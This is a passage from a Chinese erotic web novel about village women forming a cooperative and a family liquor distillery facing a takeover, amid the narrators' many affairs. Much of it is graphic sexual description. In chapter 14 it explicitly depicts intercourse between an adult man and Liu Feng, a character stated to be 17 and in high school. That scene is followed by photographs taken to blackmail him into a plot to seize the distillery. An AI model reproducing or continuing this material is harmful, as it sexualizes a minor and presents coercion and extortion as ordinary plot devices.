欣宜抱住贝贝,舌头伸进她的嘴中,两个女人亲密接吻了。
欣宜把器具从贝贝胯下拿掉,取出一个V字型仿真器具,两个女人面对面坐着,把它放入各自体内,互相拥抱着。那器具也是电动的,在里面像男人一样**着,两人同时达到高潮,拼命尖叫起来。
第二天早晨,贝贝醒来,见欣宜在自己怀里,还抱着自己,便吻吻她的唇。欣宜也醒了,把她抱得更紧。
贝贝问:“欣宜,你做尼姑是怎么忍受的?”
“做尼姑就不想男女之事了。”
“但时间长了不做你会想的。”
“想了就念经拜佛,非常有效。”
“如果再忍不住呢?”
“那就跟咱俩昨晚一样,两个尼姑一起做一次。所以我早就有这些器具了,使用也很熟练。”
“它们做得再精致,终究不如真男人。”
“是啊。可见这个地方的留守女人该有多苦。”
她们洗漱好,一起下楼吃饭。早饭是山芋稀饭就咸菜,还有几个一切两半的感鸭蛋。两个女人每人喝两大碗稀饭,喝得痛快淋漓、腹胀肚圆。
放下饭碗,曲贝贝问志刚妈:“大妈,这里有什么好玩的地方?”
志刚妈说:“乡下有什么好玩的?城里才好玩呢。”
欣宜说:“你找好玩的地方得问我。”
“你知道?”
“本县第一旅游胜地是黛山顶上的伏虎寺,香火延续1000多年了,上山的中途可顺便到本姑娘出过家的白云寺烧柱香。”
贝贝对佛教不感兴趣,问:“第二旅游胜地呢?”
“就是黛山镇。你去看一次就知道,它绝不亚于上海附近的什么周庄、乌镇、西塘。我第一次到周庄就觉得它很普通,因为在家乡这里见的水乡古镇太多了。就不说作为世界文化遗产的西递宏村,你随便到一个乡镇,都会发现它完全可以成为另一个周庄。它们是养在深闺人未识啊。”
“政府为什么不开发?”
“政府也想开发,但是没有资金。还有一个原因,是离发达大城市稍远了点,车程要6个小时。不过,我认为还是政府的观念有问题。”
“你今天带我去看看。”
“我可没有时间。我是来工作的,今天要找李存梅和赵红霞商量发动群众的事。你和我一起去吧。过几天就是一月一次的大集,我带你去,那时更好玩。”
欣宜昨天和李存梅、赵红霞约好了,今天到赵红霞家去开会。她和志刚爸妈打声招呼,告诉他们中午不回来吃饭,便带着贝贝一起到彭家村去。
李存梅和赵红霞等着她了。看样子李存梅昨天晚上是睡在这里的,还穿着睡衣,高高的胸脯和容光焕发的脸色看上去昨夜应该有过性生活的。曲贝贝双眼在梳妆台上扫一遍,想发现她们昨夜行为的珠丝马迹。她想,这两个女人一定和我们一样,互相**了一番。
她们到客厅坐下,红霞刚烧好开水,给她们泡茶。
“少放点茶叶。”
欣宜说,“女人不要喝浓茶。”
存梅问:“为什么不能喝浓茶?”
欣宜看着她有点黑却光洁细腻的脸,说:“浓茶喝多了,你和男人睡觉的兴趣就会减少。”
“那就更应该喝浓茶了。反正没有男人睡,不如把女人的功能去掉,当尼姑去。”
“好啊。”
欣宜笑着说,“我刚从白云庵出来,空下的位子还没有人补呢,就让给你了。”
“去你的。”
存梅也笑了,“不怀好意。你自己贪恋美好生活还俗了,还叫我去受那个罪。”
几个女人都笑了。
“我们说正事吧。”
欣宜取出个笔记本打开,说,“存梅,你联系的人有多少了?”
李存梅和赵红霞也都取出了笔记本。存梅翻开本子看着说:“我联系了100多户,有23户愿意出租土地同时也加入合作社,31户愿意出租土地但不加入合作社,其余的要么不置可否在观望、要么明确表示不愿意。”
“红霞,你呢?”
“我也联系了100多家,有19家愿意出租土地也加入合作社,28家愿意出租土地但不加入合作社,其余的也都是在观望。”
“这已经很好了。”
欣宜说,“我们开始不要把合作社做大,只要成功,然后再考虑做大。不过,你们要问到每一户,愿不愿意无所谓,否则她们会反过来问我们为什么不去找她。彭家村有380多户,加上小冯庄十几户,总共400户人家,剩下的这几天你们全部给问一遍。”
“我们下午就开始分头去挨家挨户联系。”
存梅说。
“好。现在我们商量一下下一步工作。首先,人员全部联系好后,我们开一次合作社筹备大会,要所有愿意参加合作社的人出席,把成立的程序和成立以后要做的事告诉大家。第二,签两种合同。一是土地租赁合同,一是加入合作社的契约。第三,选址。一是养殖基地位置,二是蔬菜种植用地。这三项工作完成以后,就要正式成立合作社,并且开始基础建设了。”
曲贝贝等得着急了,问:“你们工作谈好了没有?”
“谈好了。”
欣宜说,“你要说点什么吗?”
“我就想问一下,我们农村妇女平时有什么娱乐活动?”
存梅说:“打麻将、打纸牌、打扑克,还有看电视,现在也有人打游戏了。”
“就这些?”
“就这些。”
贝贝对欣宜说:“我建议把邻村会馆的女性沙龙模式移植到这里,让妇女们提高素质、业余生活丰富起来。”
“对。”
欣宜非常赞成这一建议,“女人们并非都**得非要男人不可,而是因为孤寂。要解决孤寂也并不是一定要男人,丰富她们的精神生活也能在一定程度上避免孤寂。不过我们要结合这里妇女的现实问题和环境条件来创办沙龙。”
“对。甚至可以不叫沙龙,而起个其他名称。”
“我想,就把它做为合作社的一项活动,但也欢迎非会员参加,不收费,只是服务。活动内容可以是探讨人生,包括男人和女人的问题,也可以请画家、书法家来办讲座,有愿意学习的还可以请人来教,办书法班、绘画班、乐器班等等。”
“还可以组织一个邻村合作社业余演出队,让喜欢唱歌跳舞的妇女们能出去演出。”
欣宜和贝贝越说越兴奋,存梅和红霞听得也很兴奋。存梅说:“这样合作社的吸引力就更大了。我们下午和她们谈,就可以告诉她们这些想法吗?”
“当然可以。”
贝贝说,“下午我和你们一起去。‘欣宜说:“好,咱俩分头,你和存梅一起、我和红霞一起。”
红霞准备烧饭了,问道:“中午喝点酒吧?”
“好啊。”
欣宜说,“喝一点,不要喝多。下午去访问人家说话更放得开。”
红霞到厨房去了。贝贝从裙子里面的**取出一个玩艺,像一个小橡胶球,存梅拿过去用手捏着,问:“这是什么玩意?你从哪里拿出来的?”
“这叫玲珑**运动**球,可以让你有快乐,还能收缩锻炼**,帮助你那里变得更加性感结实。怎么样,想不想试试?”
“怎么试?”
“你过来。”
贝贝掀起存梅睡裙下摆,脱下她的**,叫她两腿分开,把球慢慢地放进去。然后说:“你站起来走走。”
存梅站起来走几步,感觉到那玩艺在里面跳动,并**着内壁,快乐随之而至。她惊喜地说:“还有这么好的玩意?我能不能就这样到外面走?”
“当然可以。谁也看不见。你在外面走路或者干活,越运动就越快乐。”
存梅说:“我不取出来了,下午就借给我用吧。”
“我不要了,送给你吧。”
“真的?”
“真的。以后我再送你更好的玩意。这方面的东西多着呢。”
“贝贝,我有一个想法。”
“哦?你说。”
“你帮我在上海批发一些这种东西,我悄悄地推销给村里的女人,让她们也能分享到你们城里女人的乐趣,我不是也能赚点小钱吗。”
“这倒是个好主意。下次我帮你批发一些,不过它们品种可多了,你要先学会使用,再把她们教会。”
“你放心。她们读书不行,这个保证一学就会。”
贝贝对欣宜说:“欣宜,我下午回去把东西拿过来,晚上咱俩就住到这里,把她俩教会,怎么样?”
“好啊。”
欣宜赞成。
晚上她们多喝了点酒,便上楼学习。欣宜和红霞在一个房间。没想到红霞非常害羞,不愿意主动做。欣宜便让她闭上眼睛,取出V型器具,放进她的**,再放进自己,然后抱着她亲吻。红霞感到像抱住志刚了,便亲吻着欣宜。里面还有震动,像是活物一样,让她快乐无比。她来高潮时,欣宜也同时来了。红霞抱紧欣宜拼命使劲,嘴里大叫着:“啊——志刚。”
欣宜听见她叫志刚,才知道原来志刚上次回来就是和她做的。
志刚此刻正在和春儿**。这小姑娘有一阵子不来骚扰他了,经常带一个男同学到井儿宿舍里过夜,最近可能与男同学闹翻了,便又来缠志刚。她有志刚房间钥匙,等半夜志刚睡下了,便偷偷跑过来,钻进志刚被窝里。志刚哪里拒绝得了这个,春儿紧绷绷的乳房一贴上他,小弟弟就硬了。春儿现在经验已经很丰富,用舌头把志刚服侍得血脉愤张,小弟弟像要迸开似的,一进入春儿小小的洞穴中,便要把它捣烂似的折腾,感到不折腾就会裂开,越折腾就越安全,让春儿如醉如痴。志刚能感觉到春儿第一次高潮从远处露头了,便准备好迎接其冲击。他很轻松就承接住了。
春儿高潮过去,感到志刚还停留在蚌肉里面,惊喜地说:“志刚哥,你好像比以前厉害了。”
“是吗?”
志刚亲亲她的唇,喜爱地说,“怎么个厉害法?”
“我高潮了你都不射,还能让我再来一次高潮。”
“喜欢吗?”
“喜欢。”
“来,我们换一种资势。”
志刚让春儿以他的玉柱为中心,旋转一半,两人互相交叉,春儿胸前抱着志刚一只腿,另一只腿却在身后,这样玉柱进得更深,春儿感觉到洞的底部被玉柱抵住了,更有充实感。
志刚感到春儿的高潮又在远处涌来,便积聚起力量,等高潮一露头,便全力迎击,让春儿一浪一浪地淹没他,他便一浪一浪地挺立着。志刚剧烈、坚硬而无情的反击,像巨石一样把身下的女人砸成了一滩柔软的水,淹在水中,他觉得自己也分崩离析,融成了水。两个人成为同一摊水,互相融化了对方。
春儿开心地闭眼享受着,抱着志刚许久不动。她睁开眼睛,问志刚:“志刚哥,你和谁**最快活?”
志刚反问:“你和谁**最快活?”
“和你。以后我天天来要你。”
“那可不行。我事情多,没有时间。”
“你不睡觉吗?晚上还没有时间?别骗我,你有很多女人,所以才不能天天和我在一起。是吧?”
志刚没话说了。让这小姑娘缠上,还真不容易脱身。
沈琼这几天住在曲贝贝的房间。她和李世勋已经和好,甚至比以前感情更深。他们之间有一个好处,就是不干涉对方的自由。李世勋和蔡明丽是无法和好了,和祝丽却很快又如胶似漆。祝丽心里明白,只要不要求李明勋娶自己,两人的关系就可以长期保持。
沈琼和李世勋的性生活也比以前和谐了,但她过一段时间就需要彭孝胜野蛮地冲击一次她的洞穴,才感觉到完美。一般是两个礼拜的间隔。她经常到民工之家来并不全是为了民工情人,她还一直在民工的圈子里打听父亲的下落。她知道父亲一定还在上海。
吃过晚饭,沈琼在房间里觉得无聊,什么都不想干。昨天才和彭孝胜做了一晚,今天不想叫他了。她打电话给志刚:“你在家吗?”
“在呀。”
“我想和你聊聊。”
“行。你来吧。”
沈琼走10分钟就到了志刚楼下。她乘电梯上到志刚住的18楼,正准备敲门,发现门是虚掩着的,便推门进去。志刚已经把茶给她泡好了。
在沙发上坐下,志刚问:“怎么了,闲得无聊吗?”
“也不是,就是想找个人聊聊。你知道我一直在寻找父亲,而且总感觉他离我不远,可就是找不到。有时我感到身后有一双眼睛看着我,我想那一定是父亲,回头一看却什么人都没有。”
“我也相信你父亲离你不远。他肯定知道你在哪里,却不想让你知道他。”
“我是他女儿,他为什么不让我知道他在哪里?”
“那谁知道。或许和你母亲有关。”
“这我相信。我母亲对我父亲太残酷了。我都不理解他们当初怎么相爱和结婚的。”
“无论如何,他们生下了你,你就应该感谢。”
“还不如不生下我,免得让我承受这种痛苦与烦恼。”
“怎么,你想出家了?”
“你才想出家。我还没有享受好人生的乐趣,怎么会出家。”
沈琼今天穿一件紧身羊绒衫,显得胸更高、腰更细、屁股更大,下身穿着短裙,裸 露出修长的双腿。上次她和志刚**以后,再也没有做过。主要原因是志刚出去疗养了,没有机会在一起。那次志刚给她的快乐让她记忆非常深刻。
志刚身上发热了。他凑近沈琼,一只手抓住了高高的乳房,说:“今天我们享受一下人生,好吗?”
沈琼没有躲避,任他揉着乳房,却说:“你的女人太多,我只要一个情人就够了。”
“只要一个情人更要好好地挑选啊。我一颗红心两种准备,让你品尝一下,然后任你处置。”
沈琼已经被他揉得乳房发胀、身体发热了,还硬撑着说:“我品尝过你,已经把你淘汰了。”
“可是我还没有淘汰你。”
志刚已经把她按倒在沙发上,用嘴堵住了她的嘴。
志刚的蛮横让沈琼心甘情愿地屈服了。她任志刚脱掉衣服,用舌尖征服她的每一寸肌肤。
志刚进入时,她已经期待很久了。她又体验到到李世勋、包工头、和彭孝胜三人一体同时和她**的感觉。她感到自己飘浮在空中了,四周没有依托,便拼命喊叫,拼命抱住怀里这个唯一的依托。
沈琼睁开眼时,才感觉到自己落地了,怀里抱着的是志刚。
这时,外面门悄悄打开了,春儿蹑手蹑脚地走进来,见到两人赤 裸着相拥在床上,大喝一声:“哼,被我抓住了吧。”
志刚和沈琼坐起来。志刚说:“抓住什么了?”
春儿鼓着嘴说:“抓住你俩做坏事。”
志刚起来把春儿抱到床上,亲着她领口露在外面的乳房,说:“我现在和你做坏事了。”
春儿嘻嘻地笑了,抓住志刚的小弟弟,它已经又硬起来
第014章 把柳凤睡了
井儿回到茅台镇,把志刚这边并购酒厂的计划告诉了天明,谁知天明坚决反对。
那天天明一生气掀翻了办公桌,就跑到镇外赤水河边,坐在岸边对着河水生闷气。他不懂为什么井儿为那1000瓶酒生那么大的气。卖出去的酒还能退回来吗?人家真要退的话,给他来个不认账,还能怎的?镇上这么多酒厂,有几家不是这样做生意?
“天明哥,你怎么在这里?”
一个女孩子的声音在身后响起,天明听出来是棋牌室老板的女儿柳凤,她是放学从这里经过。柳凤今年17岁,长得也像柳条儿一样,细眉细眼、身材苗条,看着清秀可人。她正读高二,成绩不行,麻将却打得好。天天放学回家看人打麻将,有三缺一她就上。逢周末和寒暑假,她就整天泡在麻将室里。天明经常和她打麻将,有时抓牌时两手相碰,双目便互视一下,会心地笑笑。不知什么时候开始,他们互相喜欢对方了,只是没有捅破这层纸。
柳凤见天明不理她,就蹲到他身边,扳过他的肩膀,见他眼睛红了,像是哭过的样子,问道:“谁欺负你了?是井儿吧?”
谁都知道做上门女婿不容易,在家里地位最低,不仅要受丈人、丈母娘的气,还要受老婆欺负,家里事做不了主,只有干活的份,在外人面前也不受尊敬。天明结婚后,虽然没有丈人,丈母娘也不管事,井儿对他更是温柔有加,什么事都和他商量,可是他总觉得自己低人一等,厂里从徐厂长到下面师傅都不听他的,外人也看不起他,心里面一直窝着一口气。好不容易做了一回主,没有听徐厂长的,却让井儿冲他发了那么大的火。这柳凤不明就里,说是井儿欺负了他,等于是揭他的短。他扭头瞪柳凤一眼,又回头看着河水,还是不说话。
柳凤见他瞪她,也不高兴了:“天明哥,我好心好意地问你话,你瞪我干什么?让井儿欺负了没处撒气,就冲我来了?”
天明也觉得自己有点过份,便开口了:“对不起。我不是冲你的。”
“不是冲我你冲谁瞪眼珠子?”
柳凤往地上一坐,把书包扔到身边,鼓着嘴,更生气了。
天明转过身来,放软了口气说:“对不起,柳凤。我是生井儿的气,不该对你瞪眼。”
柳凤还冲他鼓着嘴,却绷不住卟哧一声笑了,说:“天明哥,我是逗你玩的,没真生气。你现在气消了吧?”
天明也笑了,说:“坏丫头,还骗我。”
“走,到我家棋牌室打麻将去。”
“我不想打麻将。”
“那我就在这陪你坐一会。”
“柳凤,你愿不愿意陪我喝酒?”
“愿意呀,那就到我家去吧。我爸妈在棋牌室,家里没人。我烧几个菜给你吃。”
“你也会烧菜?”
“当然了。我从小就会烧菜。”
“好。走吧。”
他们到柳凤家,果然没有人。柳凤打开门,先给志刚泡杯茶,打开电视机让他看,然后就去厨房做菜。她果然能干,很快就端上一碟花生米、一碟炒鸡蛋,还有咸肉烧莴笋、咸肉青菜汤。她从客厅里一个大酒坛子里舀出几大勺白酒,倒进一个大量杯里,估计有一斤多。她边给天明倒酒边说:“先喝这么多,不够我再舀。”
“够了。哪里喝到那么多。”
天明说着,端起杯子一口喝干。
柳凤又给天明斟满酒,说:“你喝慢点。”
天明端起杯子,说:“我们俩碰一杯。”
柳凤和天明碰杯,天明又喝干了。
柳凤几杯酒喝下去,小脸就**透红的,细长的眼睛眯缝着,脉脉含情地看着天明。天明觉得她太妖娆,感到自己要冲动了,便硬喝一杯酒下去,想把欲望压下去。谁知酒喝下去反而激起了他的冲动。他看着柳凤小小的胸脯,脑子里把她的衣服脱去了,看到两只小巧挺拔的奶 子像春笋一般,他忍不住伸手抓向那里。
柳凤乳房被天明一抓,感到很舒服,便抱着天明接吻。她的舌头一进入天明的嘴里,天明就知道她是老手。
柳凤拉着天明的手进到她的卧室,把天明脱 光,也让天明把她脱 光。她的身体果然如天明所想象的,两只青苹果一般的小乳房尖尖地戳向前方,天明一只手就能完全覆盖一只乳房。他用食指轻拨两粒樱桃,眼看着它变化,胀起来也硬起来。他的手摸到柳凤下面,丛林稀疏,水却不少,蚌肉已张开。天明知道她肯定不是处女了,便直捣黄龙,把坚硬之物插入她。
柳凤开始呻吟,蚌肉蠕动着像只小手抓住天明的玉柱。天明想,这小娘们不知道睡过多少男人了,厉害。这一想,他更有劲了。
柳凤开始剧烈扭动了,天明也猛烈地冲击她,准备共同达到高潮。“嘭!”
门被人踢开,几个人冲进来,闪光灯连续闪了几次,他们被照了下来。
天明泄了,但不是那种痛快的发泄,而是感到像是被人拦腰斩了一刀,前面的激流泄出去了,后面的却被堵住,不上不下。小弟弟已经疲软了,还在继续往外大量地流出液体。
进来的是柳凤的父母和姨妈。她父母扭住赤条条的天明,照相的人是她姨妈。
井儿从上海回到家里,心情很愉快。见到天明也没有问他那天晚上在哪里睡的,而是和以前一样温柔地对他。
吃过晚饭,和妈妈打声招呼,她就和天明进卧室了。天明打开电视坐在床上看,不断地调台。
井儿洗过澡,穿着睡衣坐到天明身边,说:“天明,上海邻村公司想并购我们酒厂。”
天明很意外,问:“怎么并购?把酒厂买过去?”
“不是买过去,他是入股,然后派人来管理。”
“那还不是一样。把我们架空了,以后酒厂就是他们的了。”
“可是靠我们自己,这个酒厂做不了多长时间。”
“他们占多少股?投入多少钱?”
“他们要求控股,占51%。投多少钱要等酒厂价值评估出来以后才能定。”
“那就等于把酒厂全部给他了。”
“其实这样我们更赚钱,也更轻松了。什么都不要管,当然想管也可以参加管理和决策。表面上看我们的股权从100%减到49%是少了,但是我们拥有的股权价值比以前还要高,钱更多了。”
天明想起柳凤爸和他达成的协议,说:“你要是问我,我的意见是不同意。”
那天和柳凤睡觉被当场抓住,柳凤爸**着他答应娶柳凤。说柳凤是黄花闺女,还在读高中就被他给毁了,以后没法嫁人,他如果不答应娶柳风,就把他告上法庭,告他**罪。
天明说:“我已经结婚了,怎么娶柳凤?”
柳凤妈说:“先离婚。然后娶凤儿。”
柳凤爸说:“只要你答应了,离婚的事可以慢慢来。但还要有个条件,你把舒家酒厂的大权掌握在手,然后想办法把酒厂转到你自己名下,再离婚,带着酒厂和柳凤结婚。”
天明被逼无奈,只好答应了,在一张事先写好的协议上签了字,还摁了手印。他倒不是不想娶柳凤,井儿和柳凤都是美女,以他的审美眼光没有什么区别,井儿的气质和能力优势在他眼里是看不出来的,况且井儿比柳凤要大十几岁,所以娶柳凤也未尝不可。可是,要把井儿家的酒厂都抢过来,他觉得未免太缺德了。但这事由不得他。
一听井儿说邻村公司要并购酒厂,他的第一反应是不能答应。如果并购了,柳凤家得不到酒厂,肯定会把自己和柳凤的事兜出来,那样就是鸡飞蛋打,既要被井儿赶出门,又娶不到柳凤了。
井儿哪里知道还有这些事,她只认为天明还是井蛙之见,多沟通沟通就可以说服他。再说,并购大权实际上在自己手中掌握,和天明商量是为了尊重他,让他来当这个家。
“不说这个了。”
井儿说,“这事不急,慢慢再商量。”
井儿想要天明了。她把小手伸到天明睡衣里,**贴着天明胸脯。天明回应着拥抱她。他们**还是井儿主动多。天明虽然年轻,可对井儿有些敬畏,就是想做了,也悄悄地先观察井儿,或者暗示井儿,让井儿主动。井儿已经30岁了,正当欲望和能力最旺盛的年纪,天明的年轻和冲劲正好能满足她,所以经常想要。
井儿洗过澡根本就没穿内衣,天明双手粗暴地脱去睡衣,她就****了。每次她这样都让天明血脉愤张。天明的手摸到了井儿最娇嫩的地带,也轻柔起来,不敢用劲。
井儿的小手抓住天明的小弟弟,发现它还没有起来。这太异常了,从来没有出现过。她认为是前几天争吵的缘故,便加倍地温柔抚摸着天明,手里还是没有动静。
天明确实血脉愤张了,他也想要,可是下面没有动静。他想起了在柳凤家所受的耻辱,想起了当时小弟弟像是被什么东西拦腰击了一下似的,立刻就疲软了,至今都没有硬过,他只是此刻才发现。
两人努力了半天,小弟弟始终起不来。井儿扫兴地放弃了努力,抱住天明安慰他:“不要紧,下次就好了。”
井儿知道几乎每个男人或因生理或因心理原因,都短暂地有过这种情况,只要不放在心上,很快就能恢复。她不知道天明不属于这种情况。
天明在井儿怀里渐渐睡着了。井儿没有睡意,她的身体还在渴望着男人。她禁不住回想着这次和志刚**的每一个细节,每一个细节都让她回味无穷。越想她越受不了,只好用两根手指进入蚌肉里聊以解渴。她从来都不需要**,所以没有**工具。在上海有志刚,一周一次她已经满足。结婚后只要她想要,年轻的天明可以每天都和她**。
早上起来,天明和井儿洗漱完毕下楼,井儿妈已经把早饭烧好了。吃过早饭,喜儿上学去,天明和井儿一起到了酒厂。
天明没在办公室坐,直接到车间去了。徐厂长对井儿说:“天明这几天还挺勤快,没有去打麻将了。”
井儿说:“徐厂长,有一件事关系到酒厂的前途,我想听一下你的意见。”
“什么事,你说吧。”
“上海的邻村酒业公司想入股我们,然后介入管理,这样以后我们就是小股东了,对这个酒厂也没有了控制权。你觉得能不能答应?”
徐厂长想了想,说:“对上海的那个公司我不了解。从我们酒厂来看,我只懂生产,什么现代化管理一点都不懂,天明也不懂,你懂一些,可是个女人,如果就这样发展下去,会越做越小,从茅台镇这么多酒厂的兴衰就看得出来。所以我觉得,如果不同意并购,舒记酒厂就只能越做越小,如果同意并购,就有可能做大。当然也有风险,比如这个如果公司经营不好,那么我们酒厂也会受牵连。”
“你的意思是说,如果这个邻村公司是值得信任的,就应该同意并购?”
“是这么个意思。”
“谢谢你,徐叔。”
井儿小时候就叫他徐叔,此刻情不自禁地又这样叫他,“我想过了,如果并购,就实行股份制了,我一定会给你股份。”
“我不要股份。”
徐叔连连摆手,“你爸妈都对我有恩,让我在你家干了一辈子,我知足了。”
“不,徐叔,除了我爸,你对我家酒厂的贡献比谁都大,给你股份也是应该的。并购以后,我们共拥有49%的股份,我想这样分配:我妈、春儿、喜儿、我,还有你,一共5份,我们4个每人10%,给你9%。你看怎么样?”
“给我太多了。你就不给天明吗?”
“天明和我是一家,他和我共同拥有10%。以后春儿和喜儿都要嫁人,她们的股份也不只是个人,而是她们家庭的。”
“你给我这么多,恐怕天明会有意见。”
“他有意见也没用,这事得我和我妈做主。”
徐叔知道井儿妈从来就不做主,所以还是井儿一个人做主。他说:“井儿,这件事你不要为难,我不想要股份,你硬要给我,如果天明没意见也可以,可如果他有意见,你就把要给我的股份给他吧。”
“那可不行。如果给天明就不公平了,要是春儿带回一个男朋友,结婚了也要股份怎么办?”
“公平不公平其实不重要,只要能把事情办成就好。要是天明反对,我怕你的并购计划会受影响。”
“这个你就放心吧,徐叔。我会处理好的。你在我家干了一辈子,也没有成个家,老了靠谁来照顾?给你一点股份,是养老的。”
徐叔有些感动了,说:“井儿,你一家人都这么厚道,我还担心什么。”
见徐叔有些驮的背影出了办公室门,到车间去了,井儿给志刚打电话:“志刚,你能不能出趟差,过来一下?”
“有什么事吗?”
“关于并购的事,我这边股权要重新分配,我想听听你的意见。”
“那是你家里的事,和我这边没有关系啊。”
“可我想听听你的意见嘛。再说,还要你把春儿带回来,我要召开家庭会议决定股权的事,春儿要参加。”
“好吧。”
志刚当然想见井儿了,正好并购在即,顺便去深入考察一下,便痛快地答应了,“我现在就买机票。”
志刚第二天上午就带着春儿到了。吃过午饭,井儿立刻在家里开会,志刚不便参加,便到酒厂转悠,和徐厂长聊聊。他问:“徐厂长,从你个人来看,愿不愿意酒厂被并购?”
徐厂长说:“这几年我看见不少酒厂被外地企业并购,都发展得不错,有的酒厂还因此起死回生。并购对酒厂和我个人都有好处。”
“你是酒厂的老人了,你认为我要并购最大的困难是什么?”
“有井儿支持困难就不大,不过天明这小子可能有想法。”
“他会有什么想法呢?”
“他没有做过企业,跟井儿爸后边时间短,没学到什么东西,也不知道经营工厂的难处。现在突然有机会管整个厂子了,喜欢这个权,不肯放。”
“他要是有能力,我可以让他来管啊。”
“可他偏偏就没有能力,还想管。上次那1000瓶酒就是他要干的。我想井儿这么积极支持并购,也和他有关系,怕他把酒厂给毁了。”
“他还掌握了酒厂的酿酒配方和关键工艺吧?”
“是啊。因为已经决定招他做女婿了,所以井儿爸就把秘方传给他了。连我都不知道。”
“徐厂长,你了解天明吗?他人怎么样?”
“人还算老实,就是受教育太少,道理懂得少,做事有点愣头青。”
志刚在酒厂转悠了一下午,隐隐地有点不祥的感觉。
井儿来叫志刚去吃晚饭,志刚问:“会开得怎么样?”
井儿脸色有些严肃:“天明坚决反对并购。”
“天明对决策有多大的影响力?”
“影响力不大。不过,有一件最麻烦的事让我头痛。”
“什么事?”
“我家的工艺秘方在天明手中。连我都没有。”
“你爸当时为什么那么着急给他?”
“我爸病重,知道自己时间不长了,再说又有传男不传女的传统。按说,不结婚也不能传给女婿,可我爸先认天明做干儿子,这样就可以先传给他了。”
“那你爸传给他的时候有没有什么协议?”
“有。那也是祖传的一个必要的程序。女婿必须答应一辈子不休掉舒家女儿才可以结婚,还要承诺不得把秘方透露给任何人,只能传给他和舒家女儿所生的儿子或女婿。还包括所生孩子必须姓舒等等内容。”
“这个文件在你手里吗?”
“在。我妈给我了。”
“这个一定要保管好。”
他们走到井儿家门口,志刚站住了,他想到下午在酒厂里的不祥感觉,说:“井儿,我不能到你家吃饭。”
井儿也站住了:“为什么?”
“不知道为什么,我下午在酒厂就有不祥的感觉,我想我还是远离你家里的是非为好。毕竟是我来并购你家酒厂,你家的是非和我是有密切关系的。”
“那你怎么办?”
“我想都不能住在镇上了,住到遵义城里去。”
“那好。我开车送你。”
他们又往回走,井儿给家里打电话,是春儿接的,她告诉春儿,志刚突然有急事,要到遵义城里去,不回家吃饭了。不容春儿再说什么,她便挂了电话。回到厂里,她开着那辆兼送货的江淮瑞风商务车送志刚。
一个小时就到遵义城了,找到一家酒店开好房间,他们一起上楼。一进房间,井儿先抱住志刚吻起来。她叫志刚来,这也是个重要原因。
志刚何偿不是如此?他要住到遵义城,也是为了安全,毕竟井儿已经结过婚了,小镇上熟人多,恐怕井儿都不敢和他**。
距离上次在上海**也没有几天,他们却像阔别很久一样饥渴难忍。志刚又抚摸到这美丽的**了,这是他生命中最重要的女人。精致的乳房洁白无瑕,圆滑润泽,至今一点都不松驰,还像少女一样。那层次分明、鲜活润泽的蚌肉也像花朵般美丽。志刚知道,这些女人的花朵也有美丑之别的。
井儿这两天晚上都想要男人,却做不成,早已难受之极,志刚明确感受到了她的急迫心情,便让坚硬的玉柱进入她娇嫩的洞穴中。这已经被男人无数次折磨过的洞穴,却越发对他有吸引力,让他感到更娇嫩而倍加爱护。他们每一处接触的地方,都能互递信息,敏感地反应。
井儿的高潮很快到来:“啊——志刚!啊——志刚!啊——”
“志刚”两个字是在连续的“啊”之间急促地叫出来的,像是潮头不断溅飞出来的两粒珍珠。
志刚自如地掌控住局势,依然骄傲地挺立在井儿深处。井儿愉快地笑了,说:“志刚,你现在更厉害了。”
“感觉到了?你不知道,我有一段时间都硬不起来,出毛病了。”
“真的?什么时候?我怎么不知道?”
“就是你结婚后第一次回上海以后。兰花和贵玲急坏了,你当然不知道。”
“后来是怎么治好的?”
“就是疗养一段时间。主要是心理问题,加上酒后纵欲、心情抑郁。好了以后,就更厉害了。”
“为什么好了就更厉害了呢?”
“关键是解决了心理问题,更自信了。你不觉得我**时更自信了吗?”
“感觉到了。比你做生意还自信。”
井儿高潮又到了,一浪一浪地掀起志刚,伴随志刚熟悉的叫喊,让志刚在极度兴奋中引爆自己,变成潮头的一串串泡沫,随即消失得无影无踪。
志刚口中衔着井儿已经变柔软的乳 头,问她:“饿不饿?”
“饿。”
“我们吃饭去吧。”
他们穿好衣服,下楼走出宾馆,找一个小吃店随便点了几个菜。吃过饭,井儿还恋恋不舍的,志刚知道她还想要,他自己也想要,可时间不早了,要是再回宾馆做一次至少要两三个小时,便说:“你回去吧。免得让他们说话。”
井儿心里明白,只好开车回去了
第015章 天明要离婚
为免生事端,志刚第二天就带春儿返回上海了。他的不祥预感却应验了,而且把他也牵扯在内。
柳凤的父亲柳强听天明说,井儿要把酒厂卖给一家上海公司,着急了,这样天明就无法控制酒厂了。他和柳凤妈姐妹俩商量,决定叫天明尽快离婚,赶在并购之前。如果离不掉婚,就把并购的事搅黄了。
井儿听天明说要离婚,大感意外,问他:“为什么?为什么要离婚?”
天明拿出几张照片给她:“你自己看。”
井儿拿过照片,是自己和志刚进宾馆开房的照片,她说:“你跟踪我?”
“不是我跟踪你。”
“不是你跟踪?那是谁?”
井儿觉得事情复杂了,似乎天明的背后有人。如果有的话,是谁?
天明当然不会说背后的人是谁。
“你和这个冯志刚有男女关系,所以我要和你离婚。”
“你凭这个就说我和他有男女关系?他是来出差的,我送他到遵义城,帮他开宾馆有错吗?”
“可是你和他在宾馆里待了三个小时。”
井儿更确定天明的背后有人了,而且还跟踪她到遵义城了。她庆幸听志刚的话回来了,如果再回宾馆待上三个小时,就说不清了。甚至跟踪者会破门而入,抓他们个现刑也未可知。
“他是来谈并购的,这么大的事在宾馆里谈三个小时多吗?”
天明倒底还是老实,没话说了。
“天明,你告诉我,是谁把这些照片给你的?他和你说了些什么?”
“反正我要和你离婚。”
“天明,你可是签了协议的,答应不离婚的。”
“可是你有别的男人,我就有理由离婚了。”
“这话不是你说的,肯定有人教你。”
井儿打电话把情况告诉了志刚,志刚说:“你说得对,天明背后肯定有人。这个人想达到什么目的不知道,但肯定是冲着你家酒厂来的。”
“你看我该怎么办?”
“在情况没有搞清楚之前,不要答应天明的任何要求,更不能答应离婚。就是弄清楚情况了,也不能和天明离婚。”
“我知道,如果离婚我家祖传的酿酒工艺就流失出去了。可是志刚,我情愿不要酒厂,也想恢复自由身,然后嫁给你。”
“井儿,我何尝不是如此呢?可我知道,你当初嫁给天明不是为了酒厂,而是为了你父亲。现在你父亲虽然不在了,可你要是把酒厂弄没了,你父亲在天之灵也会不安的。”
“以前家里有父亲,在外面打工又有你们老板顶着,我是无忧无虑。现在自己当家了,才知道有这么难。真不如出家当尼姑算了。”
“你千万别和我说出家当尼姑,我刚劝一个尼姑还俗了。放心吧,事情总会过去的,到时候你回过头来看,会觉得这事情太小了。再说还有我呢。”
“就是有你我才踏实点,否则我真的会放弃了。”
